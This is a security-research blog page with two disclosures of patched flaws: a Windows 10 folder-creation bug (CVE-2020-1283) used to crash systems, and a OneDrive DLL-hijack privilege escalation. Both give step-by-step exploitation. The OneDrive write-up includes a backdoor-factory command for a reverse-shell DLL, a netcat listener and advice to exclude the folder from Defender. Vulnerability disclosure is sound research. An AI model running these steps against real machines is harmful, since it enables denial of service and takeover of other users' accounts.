Tag: Microsoft

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Windows Denial of Service Vulnerability (CVE-2020-1283)

Summary

Assigned CVE: CVE-2020-1283 has been assigned and RedyOps Labs has been publicly acknowledged by the vendor.

Known to Neurosoft’s RedyOps Labs since: 11/03/2020

Exploit Code: https://github.com/RedyOpsResearchLabs/CVE-2020-1283_Windows-Denial-of-Service-Vulnerability

Vendor’s Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1283

This issue has the following description on Microsoft’s advisory:

” A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.

To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application or to convince a user to open a specific file on a network share. The vulnerability would not allow an attacker to execute code or to elevate user rights directly, but it could be used to cause a target system to stop responding.

The update addresses the vulnerability by correcting how Windows handles objects in memory.”

We will use a different description, based on the exploit we provided to Microsoft in order to abuse this vulnerability. Our description, may not be technically as accurate as Microsoft’s description, but our approach may allow someone out there to take this vulnerability beyond the DOS.

An arbitrary folder creation exists on Windows 10 1909. This specific case allows a user with low privileges to create an empty folder, with any chosen name, anywhere in the system. The folders we create inherit their DACL and thus we couldn’t find a way to exploit the issue in order to perform an Escalation of Privilege. However, we are able to exploit any arbitrary file/folder creation in order to cause a Blue Screen of Death (BSoD). The latest version we tested is windows 10 1909 (OS Build 18363.778) 64bit .

Description

A user with low privileges (the “attacker”), has full control over the folder c:\Users\attacker\AppData\Roaming\Microsoft\Windows . This, allows him to rename the folder to c:\Users\attacker\AppData\Roaming\Microsoft\Windows2 .

If a user/attacker performs the aforementioned rename action, there are specific circumstances and actions which can be followed in order to force the NT AUTHORITY\SYSTEM to recreate the following folders:

  • c:\Users\attacker\AppData\Roaming\Microsoft\Windows\Recent
  • c:\Users\attacker\AppData\Roaming\Microsoft\Windows\Libraries

An attacker, can replace those folders with symlinks pointing to a non-existent folder somewhere in the system. When the NT AUTHORITY\SYSTEM tries to recreate the folders “Recent” and “Libraries”, will follow those symlinks and will create the non-existent folder. This way the attacker can create a folder with a chosen name, anywhere in the system.

Exploitation

  1. Login with a user with low privileges. Assume this user has the username “attacker”.
  2. Rename the folder C:\Users\attacker\AppData\Roaming\Microsoft\Windows to C:\Users\attacker\AppData\Roaming\Microsoft\Windows2
  3. Run the Exploit.exe (you can find the code on our GitHub) and use as arguments the two folders you want to create. As for example:
Exploit.exe c:\windows\system32\cng.sys c:\windows\addins\whateverFolder

The exploit assumes that your username is attacker. If you want to use another username, change the hard-coded paths to the exploit code and recompile.

  1. Click the Start Button and open the “Microsoft Solitaire Collection” or “Xbox Game Bar” from the right panel. Usually one of both will trigger the creation of the arbitrary folders.
  2. Check that the folders have been created.

The creation of the folder c:\windows\system32\cng.sys will cause a DoS in the next reboot and the system will need to be repaired.

Video PoC Step By Step

The exploit takes 2 arguments. These are the two folders we want to create. As for example

Exploit.exe c:\windows\system32\folder1 c:\windows\addins\folder2

will create the folders c:\windows\system32\folder1 and c:\windows\addins\folder2 . However, you will not be able to write anything inside those folders.

00:00-00:30: Presentation of the environment. We present the user with the low privileges and the fact that the folders c:\windows\system32\cng.sys c:\windows\addins\whateverFolder do not exist in the system.

00:30 – 00:49: We run the Exploit, but it fails because we have not renamed the C:\Users\attacker\AppData\Roaming\Microsoft\Windows . First we have to rename this folder.

00:49 – 01:22: We rename the folder C:\Users\attacker\AppData\Roaming\Microsoft\Windows to C:\Users\attacker\AppData\Roaming\Microsoft\Windows2 and we run the exploit again. At this point, the exploit will create all the appropriate symlinks.

01:22 – 02:17: We open the “Xbox Game Bar” which triggers the creation of the Libraries and Recent folders. As we can observe in the Explorer, the folder c:\windows\system32\cng.sys was created. We present that both folders , c:\windows\system32\cng.sys and c:\windows\addins\whateverFolder, have been created and the owner is the “Administrators”.

02:17 – end: We reboot the system and we have the BSoD. The BSoD is caused because of the folder c:\windows\system32\cng.sys. If you choose a folder with another name, it will not cause the BSOD.

If you find a better way to use this primitive and you are willing to share, we would love to hear from you or read your write-up.

Resources

GitHub

You can find the exploit code on our Github at https://github.com/RedyOpsResearchLabs/

RedyOps team

RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.

You can find RedyOps team at https://redyops.com/

Angel

Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.

You can find Angel team at https://angelcyber.gr/

Illicium

Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.

You can find Illicium team at https://deceivewithillicium.com/

Neutrify

Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.

You can find Neutrify team at https://neurosoft.gr/contact/

Posted on

OneDrive < 20.073 Escalation of Privilege

Summary

Assigned CVE: Microsoft has publicly acknowledged and patched the issue. However, when we asked for the CVE number, Microsoft replied to us that the purpose of a CVE is to advise customers on the security risk and how to take action to protect themselves. Microsoft issues CVEs for MS products that require users to take action to update their environments . Although we have seen CVEs for OneDrive in the past, we respect their decision not to issue a CVE number.

Known to Neurosoft’s RedyOps Labs since: 31/03/2020

Exploit Code: https://github.com/RedyOpsResearchLabs/OneDrive-PrivEsc

Vendor’s Acknowledgement : https://portal.msrc.microsoft.com/en-us/security-guidance/researcher-acknowledgments-online-services (March 2020)

Important note regarding the patch:  Ensure that you have OneDrive >= 20.073. If you don’t, you can download the Rolling out version of the Production Ring (20.084.0426.0007), from this link  https://go.microsoft.com/fwlink/?linkid=860984 

An Escalation of Privileges (EoP) exists in OneDrive < 20.073. The latest version we tested is OneDrive 19.232.1124.0012 and Insider Preview version 20.052.0311.0010 . The exploitation of this EoP , gives the ability to a user with low privileges to gain access as any other user. In order for the exploitation to be successful, the targeted user must interact with the OneDrive (e.g right click on the tray icon) in order for the attacker to gain access .

Description

The vulnerability arises because the OneDrive is missing some QT folders and tries to locate them from C:\QT. The C:\QT folder does not exist by default and any user with low privileges can create it. If an attacker creates the file C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qmldir with the following contents:

module QtQuick 
plugin qtquick2plugin 
classname QtQuick2Plugin 
typeinfo plugins.qmltypes 
designersupported

The OneDrive will try to load the C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qtquick2plugin.dll . As far as the attacker can place a backdoor in the qtquick2plugin.dll , the OneDrive will load the backdoor.

Exploitation

The exploit can be found in our GitHub.

Today, the provided backdoor is being detected by Defender. Bypassing Defender is not the scope of this blog-post. Our purpose is not to bypass the defender AV but to provide a Proof of Concept (PoC) of the EoP. Thus first add an exception to the Defender for the folder C:\QT (or for the provided backdoor file qtquick2plugin.dll )

  1. Login as a low privileged user
  2. Close your OneDrive
  3. Copy paste the provided QT folder under the C: drive. After the copy paste, you should have the following files in your system:
  • C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qtquick2plugin.dll (This the qtquick2plugin.dll in which we have added a backdoor for reverse shell)
  • C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qmldir
  • C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qtquick2plugin.dll.org (this file is not needed. It’s the original qtquick2plugin.dll file.

In order for the exploitation to take place, the victim must login into the system and interact with the OneDrive. If you want to verify the exploitation perform the following:

  1. Logout
  2. Login as another user. For example perform a login as an Administrator.
  3. Right click on the tray icon of the OneDrive
  4. You should receive a reverse shell from the Administrator to your C2C.

The provided qtquick2plugin.dll contains a reverse shell which has been configured to return to the ip address 192.168.2.3 and port 8080 .

Supporting materials

In order to backdoor the qtquick2plugin.dll , we used the following:

  1. The original file qtquick2plugin.dll (you can find one under the folder “C:\Users\youruser\AppData\Local\Microsoft\OneDrive\19.232.1124.****\qml\QtQuick.2\” )
  2. the the-backdoor-factory from https://github.com/secretsquirrel/the-backdoor-factory
  3. Create the backdoor with the following command line: 

./backdoor.py -f qtquick2plugin.dll -H ip -P port -s reverse_shell_tcp_inline -a

Wait for the reverse shell with a netcat “nc -nlvp port”

Video PoC

Resources

GitHub

You can find the exploit code in our Github at https://github.com/RedyOpsResearchLabs/

RedyOps team

RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.

You can find RedyOps team at https://redyops.com/

Angel

Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.

You can find Angel team at https://angelcyber.gr/

Illicium

Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.

You can find Illicium team at https://deceivewithillicium.com/

Neutrify

Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.

You can find Neutrify team at https://neurosoft.gr/contact/